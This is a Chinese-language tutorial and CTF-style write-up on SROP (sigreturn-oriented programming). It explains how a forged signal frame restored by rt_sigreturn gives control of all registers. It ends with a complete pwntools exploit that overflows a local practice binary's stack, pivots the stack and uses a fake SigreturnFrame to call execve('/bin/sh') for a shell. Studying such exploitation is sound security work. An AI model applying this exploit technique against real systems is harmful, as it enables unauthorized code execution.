SROP利用分析

0x00 概述

传统的ROP技术,尤其是amd64上的ROP,需要寻找大量的gadgets以对寄存器进行赋值,执行特定操作,如果没有合适的gadgets就需要进行各种奇怪的组装。这一过程阻碍了ROP技术的使用。而SROP技术的提出大大简化了ROP攻击的流程。

SROP 应用场景与原理

SORP
上方为用户层,下方为内核层。对于Linux来说

  1. 当一个用户层进程发起signal时,控制权切到内核层
  2. 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
  3. rt_sigreturn执行完,跳到内核层
  4. 内核恢复②中保存的进程上下文,控制权交给用户层进程

有趣的是,这个过程存在着两个问题:

  1. rt_sigreturn在用户层调用,地址保存在栈上,执行后出栈
  2. 上下文也保存在栈上,比rt_sigreturn先进栈,且内核恢复上下文时不校验
    因此,我们完全可以自己在栈上放好上下文,然后自己调用re_sigreturn,跳过步骤1、2。 此时,我们将通过步骤3、4让内核把我们伪造的上下文恢复到用户进程中,也就是说我们可以重置所有寄存器的值,一次到位地做到控制通用寄存器,rip和完成栈劫持。这里的上下文我们称之为Sigreturn Frame。文章中同样给出了Sigreturn Frame的结构。

    0x01 利用方法

    利用条件

    我们在构造 ROP 攻击的时候,需要满足下面的条件
  • 可以控制栈溢出的内容
  • 需要知道相应的地址
    • /bin/sh字符串的地址
    • syscall的地址
    • SginalFrame的地址
  • 需要有够大的空间来塞下整个 sigal frame

0x02 利用技巧

  • 可以通过read等函数的返回值设置rax来调用syscall从而完成sigreturn的系统调用
  • 通过劫持ebp来使栈上的数据地址可确定
  • pwntoolsSignaFram工具

对于原生的i386来说,其SignalFrame的设置为

1
2
context.arch = ‘i386’
SROPFrame = SigreturnFrame(kernel = ‘i386’)

对于amd64上运行的32位程序来说,其SignalFrame的设置为

1
2
context.arch=’i386’
SROPFrame = SigreturnFrame(kernel = ‘amd64’)

0x03 示例

分析

题目
程序很简单,只是一个栈溢出,只开了NX保护。但是看到程序没有后门函数甚至没有泄露函数,无法通过泄露libc来获得shell。并且找的gadget屈指可数。。。。
gadget

1
ropper -f unexploitable

使用这个工具成功找到了一个syscallgadget所以用SROP就比较合适了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
sh = process('./unexploitable')
#gdb.attach(sh)
context.arch = 'amd64'
SROPFrame = SigreturnFrame()

syscall_addr = 0x400560
set_read_addr = 0x40055B
read_addr = 0x400571
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c

payload = ''
payload += 'a'*0x10
payload += p64(fake_stack_addr)
payload += p64(set_read_addr)

sh.send(payload)
sleep(3)

SROPFrame.rax = constants.SYS_execve
SROPFrame.rdi = binsh_addr
SROPFrame.rsi = 0
SROPFrame.rdx = 0
SROPFrame.rip = syscall_addr

payload = ''
payload += '/bin/sh\x00'
payload += 'a'*8
payload += p64(fake_stack_addr + 0x10)
payload += p64(read_addr)
payload += p64(fake_ebp_addr)
payload += p64(syscall_addr)
payload += str(SROPFrame)


sh.send(payload)
sleep(3)
sh.send('/bin/sh\x00'+('a')*7)
sleep(1)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +